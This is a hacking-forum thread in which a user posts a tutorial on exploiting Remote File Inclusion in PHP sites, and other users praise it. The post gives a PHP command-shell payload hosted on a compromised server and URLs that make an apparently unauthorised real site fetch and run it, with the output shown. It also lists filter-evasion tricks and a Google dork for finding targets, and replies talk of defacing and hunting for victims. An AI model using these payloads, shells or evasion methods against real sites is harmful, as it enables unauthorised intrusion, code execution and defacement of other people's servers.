[-DownFall]

Today I'm going to be showing you how to exploit RFI vulnerabilities.

Remote File Inclusion

Remote File Inclusion (RFI) is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:

Code execution on the web server
Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS).
Denial of Service (DoS)
Data Theft/Manipulation

Important Factors

Exploiting RFI is fairly simple, the hard part is finding it + filter evasion (if nessecary). Similar to Local File Inclusion, instead of including a local file, you include a remote file that executes commands on the webserver. Here's what the vulnerable snippet looks like.

Code

<?
$page =$_GET['page'];
include($page);
?>

Now there's a couple factors that we need to go over. allow_url_fopen and allow_url_include must be enabled in the website's PHP configuration.

This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers.

Source


Exploiting RFI

Now once you've confirmed that these options are enabled, here's how you'd go through with exploiting it.

Now this isn't mandatory, but I uploaded 2 scrips on a shelled webhost to test my sites for RFI vulnerabilities. One is called RFI.txt, and one is vuln.txt.

RFI.txt

Code

<? system('uname -a'); ?>

vuln.txt

Code

<? system($_GET['cmd']); ?>

The first one should show the kernel information, but I use it as a vulnerability test. The second one is my command shell, once I've confirmed that the site is executing my remote file.

Code

http://www.site.com/index.php?page=http://www.site.com/RFI.txt

So mine looks like this...

Code

http://www.looking-better.com/index.php?page=http://medimove.co.in/RFI.txt

Spoiler (Click to View)

Code

Linux box715.bluehost.com 2.6.32-46.1.BHsmp #1 SMP Tue Sep 6 12:18:02 MDT 2011 x86_64 x86_64 x86_64 GNU/Linux

And as you can see, I get the kernel version. That means that my remote file was successfully included, and got executed on the webserver.

Now we can use vuln.txt as a command shell.

Code

http://www.site.com/index.php?page=http://www.site.com/vuln.txt&cmd=[COMMAND HERE]

Code

http://www.looking-better.com/index.php?page=http://medimove.co.in/vuln.txt&cmd=ls -a

Spoiler (Click to View)

Code

. .. .htaccess 1946734.html 400.shtml 401.shtml 403.shtml 404.shtml 500.php 500.shtml about.php about.txt administrator cache cgi-bin cgi-bin.php components contact.php contact.txt error_log favicon.ico fractionsofmemories gallery gallery.php gallery.txt getpost.php hereislondon hereisparis home.php home.txt images includes index.php js.php language libraries logs media modules mysecretmakeover orders plugins robots.txt site_admin sivanshapira slide style.php templates terms.php thanks.php tmp upload.php uploadform.php vidtur wp-content xmlrpc

Now you can include your shell, or whatever script you want to execute.

Code

http://www.site.com/index.php?page=http://www.site.com/shell.txt

So mine looks like this...

Code

www.looking-better.com/index.php?page=http://medimove.co.in/winning.txt

Spoiler (Click to View)

Filter Evasion

Now some sites have firewalls installed to prevent attacks like this. Here's a couple methods to get around them..
Null Byte

Code

http://www.stite.com/index.php?page=http://www.site.com/shell.txt   - Blocked
http://www.stite.com/index.php?page=http://www.site.com/shell.txt?%00   - Bypassed

URL Encoding

Code

http://www.stite.com/index.php?page=http://www.site.com/shell.txt   - Blocked
http://www.stite.com/index.php?page=http%3A%2f%2fwww.site.com%2fshell.txt   - Bypassed

* Case Changing

Code

http://www.stite.com/index.php?page=http://www.site.com/shell.txt   - Blocked
http://www.stite.com/index.php?page=HtTP://wWw.sItE.CoM/shell.txt   - Bypassed

Or you can use a combination of them all...

Code

http://www.stite.com/index.php?page=httP%3A%2f%2fwww.SitE.com%2fshell.txt?%00

Well there's my short tut on exploiting RFI, enjoy and happy hacking.

Spoiler (Click to View)inb4 this site gets shelled

[Hooded Robin]

Nice tut man, I have had mine written for some time but no sites found to use for pics - looks like you beat me to the punch :p

[gerardoxd]

Very good tutorial, but in this day and age there are not many sites vulnerable to RFI
but still good stuff for those newly initiated into the world of defacing

[Dyme]

Good tutorial. Only hard part is really finding a site like you said. Searching right now...

[preetam]

use this google dork to check RFI may be its useful.

inurl:iframe.php?file

[-DownFall]

Nice tut man, I have had mine written for some time but no sites found to use for pics - looks like you beat me to the punch :p

Should have looked through the 40 LFI vulns, if allow_url_include = on, it's LFI and RFI lol.

Thanks too ^^

[ProElite]

Thanks for the tutorial mate, helpfull ;)

[Oxy]

Great tutorial!
Bookmarked and adding this to my mass thread!

Thanks for sharing.

[VipVince]

Great tutorial man. Shame this method is rather rare :(

[Zhen.]

Great tutorial man. Shame this method is rather rare :(

Agreed :/
Only 10% or less this vuln exist.
I would be lucky if I found one lol
Nevertheless, great work -Downfall

[Sw1x]

Great tutorial, did Kobez make a similar one?

Anyway great work man! :)

[-DownFall]

Great tutorial, did Kobez make a similar one?

Anyway great work man! :)

Not sure, wouldn't be surprised, he's an OG lol.
Thanks anyways.

[Oxy]

Great tutorial, did Kobez make a similar one?

Anyway great work man! :)

No kobez doesn't make tutorials. he uses others in his threads.
probably that's why you seen this before.

kobez is great to bad he does not like to write tutorials.
even though he was my mentor once XD

[XoR1337]

Nice tutorial bro, i will use it in the future, thanks :D

[BlueValley]

Thanks for your nice tutorials,i will use them :)